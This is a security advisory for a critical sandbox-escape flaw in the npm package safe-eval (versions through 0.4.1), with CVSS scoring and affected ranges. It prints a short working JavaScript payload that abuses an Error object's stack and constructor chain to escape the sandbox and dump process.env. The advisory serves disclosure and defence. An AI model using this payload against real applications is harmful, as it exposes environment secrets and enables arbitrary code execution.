GHSA-hrpq-r399-whgw

Suggest an improvement
Source
https://github.com/advisories/GHSA-hrpq-r399-whgw
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/08/GHSA-hrpq-r399-whgw/GHSA-hrpq-r399-whgw.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-hrpq-r399-whgw
Aliases
Published
2020-08-25T23:40:53Z
Modified
2026-03-13T21:56:24.860564Z
Severity
  • 9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
Sandbox Breakout / Arbitrary Code Execution in safe-eval
Details

All versions of safe-eval are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system.

Evaluating the payload

(function (){
  var ex = new Error
  ex.__proto__ = null
  ex.stack = {
    match: x => {
      return x.constructor.constructor("throw process.env")()
    }
  }
  return ex
})()

prints the contents of process.env.

Recommendation

No fix is currently available. Consider using an alternative package until a fix is made available.

Database specific
{
    "severity": "CRITICAL",
    "cwe_ids": [
        "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-25T21:20:22Z",
    "nvd_published_at": "2020-08-21T10:15:00Z"
}
References

Affected packages

npm / safe-eval

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Last affected
0.4.1

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/08/GHSA-hrpq-r399-whgw/GHSA-hrpq-r399-whgw.json"